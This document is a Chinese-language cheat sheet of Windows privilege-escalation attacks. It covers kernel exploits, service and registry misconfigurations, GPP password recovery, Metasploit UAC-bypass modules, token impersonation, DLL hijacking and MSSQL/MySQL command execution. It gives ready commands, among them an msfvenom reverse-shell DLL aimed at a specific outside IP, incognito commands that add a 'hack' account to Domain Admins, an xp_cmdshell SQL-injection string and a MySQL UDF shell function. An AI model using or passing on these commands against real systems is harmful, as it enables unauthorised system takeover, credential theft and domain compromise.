windows提权总结
内核溢出提权
常用溢出提权
最常用的本地溢出提权有 CVE-2018-8120、MS16-032、MS15-051 和 MS14-058 。
或者手工查找补丁
systeminfo,查看缺失补丁。
MSF下发现缺失补丁payload
利用post/windows/gather/enum_patches 模块 可以根据漏洞编号快速找出系统中缺少的补丁
MSF下还提供了 post/multi/recon/local_exploit_suggester 模块,该模块用于快速识别系统中可能被利用的漏洞
直接设置sessions就好
Windows系统配置错误提权
Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持
系统服务权限配置错误
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。
windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
1.Powershell中的PowerUp脚本
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
加载模块并执行 列出可能存在问题的所有服务
分析能否利用
2.Metasploit中的攻击模块
exploit/windows/local/service_permissions
service_permissions模块会使用 两种方式获取system权限
如果以管理员权限运行 会尝试创建并运行一个新的服务
如果当前权限不允许创建服务会判断哪些服务的文件或文件夹的权限有问题 并对其进行劫持
在劫持服务时会创建一个可执行程序 其文件名和安装路径都是随机的
注册表键AlwaysInstallElevated
允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT Authority\System权限来安装恶意的MSI文件。
1.powerup下的Get-RegistryAlwaysInstallElevated模块检查注册表键是否被设置
如果被设置则意味MSI文件是以system权限下能运行
2.Metasploit的exploit/windows/local/always_install_elevated模块
该模块会创建一个文件名随机的MSI文件 并在提权后删除所有已部署的文件
只要禁用注册表键AlwaysInstallElevated 就可以阻止攻击者通过MSI文件进行提权
可信任服务路径漏洞
利用了windows文件路径解析的特性,如果一个服务调用的可执行文件没有正确处理所引用的完整路径名
通俗的说,如果一个服务的可执行文件的路径(带空格)没有被双引号引起来,那么这个服务就有漏洞。
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
检测是否有对目标文件夹的写权限 可以使用icacls 工具
如果确认目标机器存在此漏洞 把我们的木马上传到目并重命名
重启服务
sc stop service_name
sc start service_name
可以直接使用metasploit中的
exploit/windows/local/trusted_service_path
模块
正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
set AutoRunScript migrate -f
自动安装配置文件
Metasploit集成了漏洞利用模块
post/windows/gather/enum_unattend
计划任务
如下命令查看计算机计划任务
schtasks /query /fo LIST /v
AccessChk用于在windows中进行一些高级查询、管理和故障排除工作。如果黑客对以高权限运行的任务,所在的目录具有写权限,那么就可以使用恶意程序覆盖原有的程序。这样,在计划任务下次执行的时候,就会以高权限运行恶意程序。
通过AccessChk查看指定目录的权限配置情况:
accesschk64.exe -dqv "C:\Program Files (x86)" -accepteula
accesschk64.exe /accepteula 第一次运行SysInternals工具包里的工具时 会弹出一个许可协议对话框 使用accepteula参数自动接受许可协议
accesschk64.exe -uwdqsUsers C:\ 查看某个驱动器下所有「权限配置」有问题的文件夹:
accesschk64.exe -uwdqsUsers c:*.* 查看某个驱动器下所有「权限配置」有问题的文件:
PowerUp.ps1脚本的使用
PowerUp.ps1脚本是 Privsec 目录下的一个脚本,功能非常强大。拥有很多用来寻找目标主机Windows服务配置错误来进行提权的模块。当我们无法通过 windows 内核漏洞进行提权的话,这个时候我们就可以利用该脚本来寻找目标主机上Windows服务配置错误来进行提权,或者利用常见的系统服务,通过其继承的系统权限来完成提权。
Invoke-Allchecks模块
powershell -exec bypass -c import-module .\PowerUp.ps1;Invoke-Allchecks -verbose
Windows组策略首选项提权(SYSVOL/GPP)
SYSVOL
SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。
SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在 C:Windows/SYSVOL/DOMAIN/Policies 目录中。
通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的。攻击者获得了一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码。
常见的组策略首选项(Group Policy Preferences,GPP)列举如下
映射驱动器(Drives.xml)
创建本地用户
数据源(DataSources.xml)
打印机配置(Printers.xml)
创建、更新服务(Services.xml)
计划任务(ScheduledTasks.xml)
组策略首选项提权分析
1:创建组策略,批量修改域中机器的本地管理员密码
在域控上执行:开始——>运行——>输入 gpmc.msc ——>选择kevin.com——>右键组策略对象——>新建,我这里新建一个test组策略
右键刚刚新建的组策略,编辑
会弹出一个组策略管理编辑器,然后 计算机配置——>首选项——>控制面板设置——>本地用户和组
右键本地用户和组——>新建——>本地用户
我们将域中每个计算机的本地密码设置成 qwer123456.
然后将Domain Computers添加到组策略应用的组中
强制更新组策略
2:获取组策略的凭据
管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站上公布了该密码的私钥,导致保存在XML文件中的密码的安全性大大降低。任何域用户和域信任的用户均可对该共享目录进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账号、密码的本地管理员计算机。在SYSVOL中搜索,可以找到Groups.xml文件。找到其中的cpassword字段,该字段是用AES-256算法加密的,
使用PowerShell获取cpassword
PowerSploit中的Get-GPPPassword.ps1脚本可以获取组策略中的密码。注意,我们只需要在域内任何一台以域用户权限登录的机器上均可查询到。
使用MSF获取cpassword
MSF中 post/windows/gather/credentials/gpp 模块可以获取组策略中的密码。注意,我们只需要获取域内任何一台以域用户权限登录的机器的权限即可。
绕过UAC提权
msf的uac模块
use exploit/windows/local/bypassuac #该模块将通过进程注入,利用受信任的发布者证书绕过Windows UAC。该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中(内存注入),所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。use exploit/windows/local/bypassuac_fodhelper #该模块通过FodHelper注册表项,通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将为我们生成另一个关闭UAC的shell。虽然该模块修改了注册表,但它会在调用payload后清除该键。相比之前的模块,该模块对架构系统并无特别要求。如果指定EXE::Custom DLL,则应在单独的进程中启动payload后调用ExitProcess()。use exploit/windows/local/bypassuac_eventvwr #Windows提权UAC保护绕过(通过Eventvwr注册表项)use exploit/windows/local/bypassuac_comhijack #Windows提权UAC保护绕过(COM处理程序劫持) 此模块将通过在HKCU配置单元中,创建COM处理程序注册表项来绕过Windows UAC。当加载某些高完整性进程时将会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL中包含了可提升权限的payload。在调用payload后该模块将会清除该键。该模块的使用需要选择正确的架构,但在当前低权限的Meterpreter session下架构可以不同。如果指定EXE::Custom DLL,则应在单独的进程中启动payload后调用ExitProcess()。该模块需要通过目标系统上的cmd.exe来调用目标二进制文件,因此如果限制cmd.exe访问,则此模块将无法正常运行。
使用前提
一是系统当前用户必须在管理员组中二是用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我”
Nishang中的Invoke-PsUACme.ps1
nvoke-PsUACme模块使用来自UACME项目的DLL绕过UAC。
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -verbose #使用sysprep方法并执行默认的payloadImport-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose #使用oobe方法并执行默认的payload
令牌窃取
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
AccessToken的窃取与利用
AccessToken的窃取与利用需要administrator管理员组权限。窃取AccessToken的数量:incognito.exe程序 > InvokeTokenManipulat.ps1脚本 > MSF里的incognito模块
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
AccessToken的列举(需要administrator权限)
incognito.exe list_tokens -u
模拟其他用户的令牌
incognito.exe execute -c "完整的Token名" cmd.exe例如:模拟system权限用户incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
2.Invoke-TokenManipulation.ps1脚本
列举tokenInvoke-TokenManipulation -Enumerate提权至systemInvoke-TokenManipulation -CreateProcess "cmd.exe" -username "nt authority\system"复制进程tokenInvoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500复制线程tokenInvoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
3:MSF下的incognito模块
需要administrator权限
use incognito #加载incognitolist_tokens -u #列出AccessTokenimpersonate_token "NT AUTHORITY\SYSTEM" #模拟system用户,getsystem命令即实现了该命令。如果要模拟其他用户,将token名改为其他用户即可rev2self #返回到之前的AccessToken权限域内的话可以添加域用户并添加进域管理组进行敏感操作add_user hack qwer123456! -h 192.168.13.132 add_group_user "Domain Admins" hack -h 192.168.13.132
DLL劫持
找DLL的过程
1.程序所在目录
2.系统目录即 SYSTEM32 目录
3.16位系统目录即 SYSTEM 目录
4.Windows目录
5.加载 DLL 时所在的当前目录
6.PATH环境变量中列出的目录
首先如果在程序所在目录下未寻找到DLL,一般会在SYSTEM32目录下寻找到,那么可能会存在DLL劫持
制作dll文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/test.dll
第三方服务提权
mssql数据库提权
MSSQL运行在system权限时才可以通过xp_cmdshell组件执行系统命令提权
提权条件:数据库账号是DBA权限
关于xp_cmdshell
- 得到数据库连接信息,连接数据库后执行
EXEC xp_cmdshell 'net user';
- 有sql注入时也可以直接在url上使用xp_cmdshell,因为mssql可以多语句执行,例如
?id=1;EXEC xp_cmdshell 'net user';--
connstring:数据库连接字符串
开启xp_cmdshell组件
sp_configure 'show advanced options',1reconfiguregosp_configure 'xp_cmdshell',1reconfigurego
执行系统命令
exec xp_cmdshell ‘whoami’;–
添加新用户,添加到管理员组
然后直接开3389,关防火墙,登录即可
mysql数据库提权
提权条件:MySQL是system权限
关于UDF
MySQL提权可以用UDF和Mof。UDF就是User defined Function,即用户定义函数,可以通过创建存储方法来定义函数,从而调用系统命令。
UDF提权过程
- 导入udf.dll到服务器指定目录
- MySQL版本小于5.1的udf.dll要导入到c:\windows\目录下
- MySQL版本大于等于5.1的udf.dll要导入到plugin_dir目录,plugin_dir在MySQL安装目录下的lib/plugin目录下(MySQL安装目录可以用select @@basedir得到),默认不存在这个目录,我们要自己创建
- 使用SQL语句创建功能函数
CREATE FUNCTION shell RETURNS STRING SONAME ‘udf.dll’; - 执行MySQL语句调用新创建的函数
select shell(‘cmd’,‘whoami’); - 删除创建的函数
drop function shell;
添加新用户,添加到管理员组
然后直接开3389,关防火墙,登录即可